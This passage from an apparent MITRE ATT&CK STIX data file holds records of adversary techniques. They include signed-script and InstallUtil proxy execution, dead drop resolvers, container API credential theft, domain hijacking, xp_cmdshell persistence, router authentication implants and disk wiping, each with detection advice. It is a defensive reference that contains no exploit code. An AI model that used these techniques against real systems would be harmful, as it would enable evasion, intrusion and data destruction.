Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}, {"source_name": "Trend Micro APT Attack Tools", "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.", "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Praetorian", "Wes Hurd"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe", "created": "2018-04-18T17:59:24.739Z", "x_mitre_version": "2.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1216", "url": "https://attack.mitre.org/techniques/T1216"}, {"source_name": "GitHub Ultimate AppLocker Bypass List", "url": "https://github.com/api0cradle/UltimateAppLockerByPassList", "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018."}, {"source_name": "LOLBAS Project", "url": "https://github.com/LOLBAS-Project/LOLBAS#criteria", "description": "Oddvar Moe et al. (2022, February).  Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)", "modified": "2022-04-18T14:43:46.045Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "System Script Proxy Execution", "x_mitre_detection": "Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_is_subtechnique": false, "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation", "Script: Script Execution"], "x_mitre_defense_bypassed": ["Application control", "Digital Certificate Validation"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Ryan Becwar"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", "type": "attack-pattern", "created": "2017-05-31T21:31:10.314Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1094", "url": "https://attack.mitre.org/techniques/T1094"}, {"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "source_name": "University of Birmingham C2"}], "modified": "2020-03-20T19:03:04.295Z", "name": "Custom Command and Control Protocol", "description": "Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7", "type": "attack-pattern", "created": "2020-03-14T22:24:21.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1102.001", "url": "https://attack.mitre.org/techniques/T1102/001"}, {"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "source_name": "University of Birmingham C2"}], "modified": "2020-03-26T23:12:30.499Z", "name": "Dead Drop Resolver", "description": "Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow"], "x_mitre_permissions_required": ["User"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Casey Smith", "Travis Smith, Tripwire"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b", "type": "attack-pattern", "created": "2017-05-31T21:31:27.510Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"external_id": "T1118", "url": "https://attack.mitre.org/techniques/T1118", "source_name": "mitre-attack"}, {"source_name": "MSDN InstallUtil", "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.", "url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx"}, {"source_name": "LOLBAS Installutil", "url": "https://lolbas-project.github.io/lolbas/Binaries/Installutil/", "description": "LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019."}], "modified": "2020-01-31T18:59:38.256Z", "name": "InstallUtil", "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.NET\\Framework64\\v<version>\\InstallUtil.exe</code>. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)", "kill_chain_phases": [{"phase_name": "defense-evasion", "kill_chain_name": "mitre-attack"}, {"phase_name": "execution", "kill_chain_name": "mitre-attack"}], "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.", "x_mitre_version": "1.2", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Process whitelisting", "Digital Certificate Validation"], "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"modified": "2024-02-02T20:10:01.862Z", "name": "Junk Data", "description": "Adversaries may add junk data to protocols used for command and control to make detection more difficult.(Citation: FireEye SUNBURST Backdoor December 2020) By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_deprecated": false, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content"], "type": "attack-pattern", "id": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade", "created": "2020-03-15T00:30:25.444Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1001/001", "external_id": "T1001.001"}, {"source_name": "FireEye SUNBURST Backdoor December 2020", "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Robert Simmons, @MalwareUtkonos"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6", "type": "attack-pattern", "created": "2020-10-02T17:08:07.742Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1598.001", "url": "https://attack.mitre.org/techniques/T1598/001"}, {"source_name": "ThreatPost Social Media Phishing", "url": "https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/", "description": "O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020."}], "modified": "2021-04-15T03:43:12.843Z", "name": "Spearphishing Service", "description": "Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Application Log: Application Log Content", "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content"]}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", "created": "2017-05-31T21:30:42.657Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1043", "url": "https://attack.mitre.org/techniques/T1043"}, {"source_name": "University of Birmingham C2", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016."}], "x_mitre_deprecated": true, "revoked": false, "description": "**This technique has been deprecated. Please use [Non-Standard Port](https://attack.mitre.org/techniques/T1571) where appropriate.**\n\nAdversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n\n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)", "modified": "2022-07-22T18:51:42.238Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Commonly Used Port", "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_is_subtechnique": false, "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-15T16:11:25.409Z", "name": "Container API", "description": "Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API)\n\nAn adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Center for Threat-Informed Defense (CTID)", "Jay Chen, Palo Alto Networks", "Yossi Weizman, Azure Defender Research Team"], "x_mitre_deprecated": false, "x_mitre_detection": "Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs.\n\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Containers"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["User Account: User Account Authentication", "Command: Command Execution"], "type": "attack-pattern", "id": "attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436", "created": "2021-03-31T14:01:52.321Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1552/007", "external_id": "T1552.007"}, {"source_name": "Unit 42 Unsecured Docker Daemons", "description": "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.", "url": "https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/"}, {"source_name": "Docker API", "description": "Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.", "url": "https://docs.docker.com/engine/api/v1.41/"}, {"source_name": "Kubernetes API", "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.", "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-07T13:05:42.901Z", "name": "Domains", "description": "Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019)\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)\n\nAdversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_platforms": ["PRE"], "x_mitre_is_subtechnique": true, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.3", "x_mitre_contributors": ["Jeremy Galloway"], "x_mitre_data_sources": ["Domain Name: Passive DNS", "Domain Name: Domain Registration", "Domain Name: Active DNS"], "type": "attack-pattern", "id": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", "created": "2020-10-01T00:51:28.513Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1584/001", "external_id": "T1584.001"}, {"source_name": "Krebs DNS Hijack 2019", "description": "Brian Krebs. (2019, February 18). A Deep Dive on the Recent Widespread DNS Hijacking Attacks. Retrieved February 14, 2022.", "url": "https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/"}, {"source_name": "ICANNDomainNameHijacking", "description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.", "url": "https://www.icann.org/groups/ssac/documents/sac-007-en"}, {"source_name": "Palo Alto Unit 42 Domain Shadowing 2022", "description": "Janos Szurdi, Rebekah Houser and Daiping Liu. (2022, September 21). Domain Shadowing: A Stealthy Use of DNS Compromise for Cybercrime. Retrieved March 7, 2023.", "url": "https://unit42.paloaltonetworks.com/domain-shadowing/"}, {"source_name": "Microsoft Sub Takeover 2020", "description": "Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020.", "url": "https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows", "Linux"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Carlos Borges, @huntingneo, CIP", "Lucas da Silva Pereira, @vulcanunsec, CIP", "Kaspersky"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a", "type": "attack-pattern", "created": "2019-12-12T14:59:58.168Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1505.001", "url": "https://attack.mitre.org/techniques/T1505/001"}, {"source_name": "NetSPI Startup Stored Procedures", "url": "https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/", "description": "Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server \u2013 Part 1: Startup Stored Procedures. Retrieved July 8, 2019."}, {"source_name": "Kaspersky MSSQL Aug 2019", "url": "https://securelist.com/malicious-tasks-in-ms-sql-server/92167/", "description": "Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote attack on Microsoft SQL Server. Retrieved September 4, 2019."}, {"source_name": "Microsoft xp_cmdshell 2017", "url": "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017", "description": "Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved September 9, 2019."}, {"source_name": "Microsoft CLR Integration 2017", "url": "https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017", "description": "Microsoft. (2017, June 19). Common Language Runtime Integration. Retrieved July 8, 2019."}, {"source_name": "NetSPI SQL Server CLR", "url": "https://blog.netspi.com/attacking-sql-server-clr-assemblies/", "description": "Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved July 8, 2019."}], "modified": "2020-03-25T23:30:20.638Z", "name": "SQL Stored Procedures", "description": "Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).\n\nAdversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017) \n\nMicrosoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures) Consider enabling audit features that can log malicious startup activities.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Application Log: Application Log Content"], "x_mitre_permissions_required": ["Administrator", "SYSTEM", "root"]}, {"x_mitre_platforms": ["Network"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd", "type": "attack-pattern", "created": "2020-10-19T17:58:04.155Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1556.004", "url": "https://attack.mitre.org/techniques/T1556/004"}, {"source_name": "Mandiant - Synful Knock", "url": "https://www.mandiant.com/resources/synful-knock-acis", "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."}, {"source_name": "Cisco IOS Software Integrity Assurance - Image File Verification", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."}, {"source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."}], "modified": "2021-12-14T23:14:26.107Z", "name": "Network Device Authentication", "description": "Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password.  The modification includes a specific password which is implanted in the operating system image via the patch.  Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nDetection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).", "x_mitre_is_subtechnique": true, "x_mitre_version": "2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Modification"], "x_mitre_permissions_required": ["Administrator"]}, {"modified": "2024-04-16T13:00:33.303Z", "name": "Disk Content Wipe", "description": "Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have also been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_deprecated": false, "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the <code>\\\\\\\\.\\\\</code> notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\n\nFor network infrastructure devices, collect AAA logging to monitor for `erase` commands that delete critical configuration files.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Drive: Drive Modification", "Drive: Drive Access", "Driver: Driver Load", "Command: Command Execution", "Process: 